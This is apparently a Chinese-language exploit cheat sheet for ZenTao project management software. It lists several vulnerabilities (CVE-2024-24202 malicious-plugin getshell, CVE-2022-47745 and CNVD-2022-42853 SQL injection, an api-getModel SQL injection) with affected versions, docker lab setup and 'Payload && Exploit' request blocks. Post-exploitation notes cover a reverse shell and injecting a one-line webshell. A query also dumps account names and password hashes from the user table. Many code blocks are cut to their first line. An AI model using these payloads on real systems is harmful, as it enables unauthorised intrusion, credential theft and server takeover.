阅读前注意事项
- 代码块中未展示具体数据包细节,仅提供URL的均为GET请求方式数据包
- 使用Payload时须确保请求包包含有效的Referer请求头
- 漏洞排序按照漏洞类型分类,可通过搜索CVE编号快速定位payload
版本号探测
查看当前禅道版本号:
1 | /zentao/index.php?mode=getconfig |
恶意插件Getshell
CVE-2024-24202
漏洞编号:CVE-2024-24202
利用条件:需要认证
影响版本:【开源版】<=v18.10、【商业版】<=8.10、【旗舰版】<=4.10
漏洞描述:ZenTao Community Edition v.18.10及之前版本,ZenTao Biz v8.10及之前版本,ZenTao Max v.4.10及之前版本的一个问题允许经过身份验证的攻击者通过旁路执行任意代码来创建ok.txt并实现后门插件安装。
修复建议:
测试环境:idoop/zentao:18.5
参考文章:https://clammy-blizzard-8ef.notion.site/Zentao-PMS-Authorized-Remote-Code-Execution-Vulnerability-1077a870c92848e18fe0c139c4fc2176
环境部署
1 | docker run -d --name zentao1800 -p 1098:80 easysoft/zentao:18.3 |
Payload && Exploit
1 | POST /zentao/upgrade-moveExtFiles-0.html |
Linux后渗透利用中,本地由于Docker镜像原因,写入的Webshell未解析直接下载,x.php无权限修改无法注入webshell,可通过反弹shell的方式实现后渗透的利用
1 | // 反弹shell |
Windows 后渗透利用中,反弹shell失败,采取往x.php中注入一句话木马,通过webshell的方式实现后续渗透
1 | $filePath = 'C:\\Users\\t1sts\\Desktop\\ZenTao\\app\\zentao\\www\\x.php'; |
注意事项:
- Linux 测试环境为 Docker 镜像:idoop/zentao:18.5,Windows 测试环境为:一键安装版本 Zentao18.6。
- 可在恶意插件中加上
phpinfo();
可直观判断恶意插件是否成功执行 - x.php的目录是在ok.txt文件的前两层,也就是网站的www目录下。
SQL注入
CVE-2022-47745
漏洞编号:CVE-2022-47745
利用条件:需要认证
影响版本:【开源版】17.4 - 18.0.beta1、【商业版】7.4 - 8.0.beta1、【旗舰版】3.4 - 4.0.beta1
漏洞描述:禅道是中国易软天创网络科技(Nature Easy Soft Network Technology)公司的一套项目管理软件。其中 dbName 参数过滤不严格,存在SQL注入漏洞。
修复建议:
测试环境:easysoft/zentao:18.0.beta1
参考文章:
- https://github.com/ax1sX/SecurityList/blob/main/Other_OA/Zentao.md
- https://blog.evi1s.com/2023/01/13/Zentao-RCE/#Cron-to-RCE
环境部署
1 | docker run -d --name zentao1099 -p 1099:80 easysoft/zentao:18.0.beta1 |
Payload && Exploit
判断漏洞是否存在
1 | POST /convert-importNotice.html |
响应包
1 | {"result":"fail","message":"无效的数据库名!"} |
写入webshell
1 | POST /convert-importNotice.html |
响应包
1 | {"result":"fail","message":"无效的数据库名!"} |
CNVD-2022-42853
漏洞编号:CNVD-2022-42853
利用条件:无需认证
影响版本:【开源版】<=16.5,16.5beta1、【商业版】<=6.5,6.5beta1、【旗舰版】<=3.0,3.0beta1
漏洞描述:禅道存在前台SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。
修复建议:
测试环境:easysoft/zentao:16.5
参考文章:
环境部署
1 | docker run -d --name zentao1098 -p 1098:80 easysoft/zentao:16.5 |
Payload && Exploit
获取当前数据库用户
1 | POST /zentao/user-login.html |
写入webshell
1 | POST /zentao/user-login.html |
api-getModel接口
漏洞编号: 暂无
利用条件:需要认证
影响版本:【开源版】=11.6
漏洞描述:禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入。
修复建议:
测试环境:idoop/zentao:11.6
参考文章:
环境部署
1 | docker run -d --name zentao1106 -p 1106:80 idoop/zentao:11.6 |
Payload && Exploit
1 | /zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user |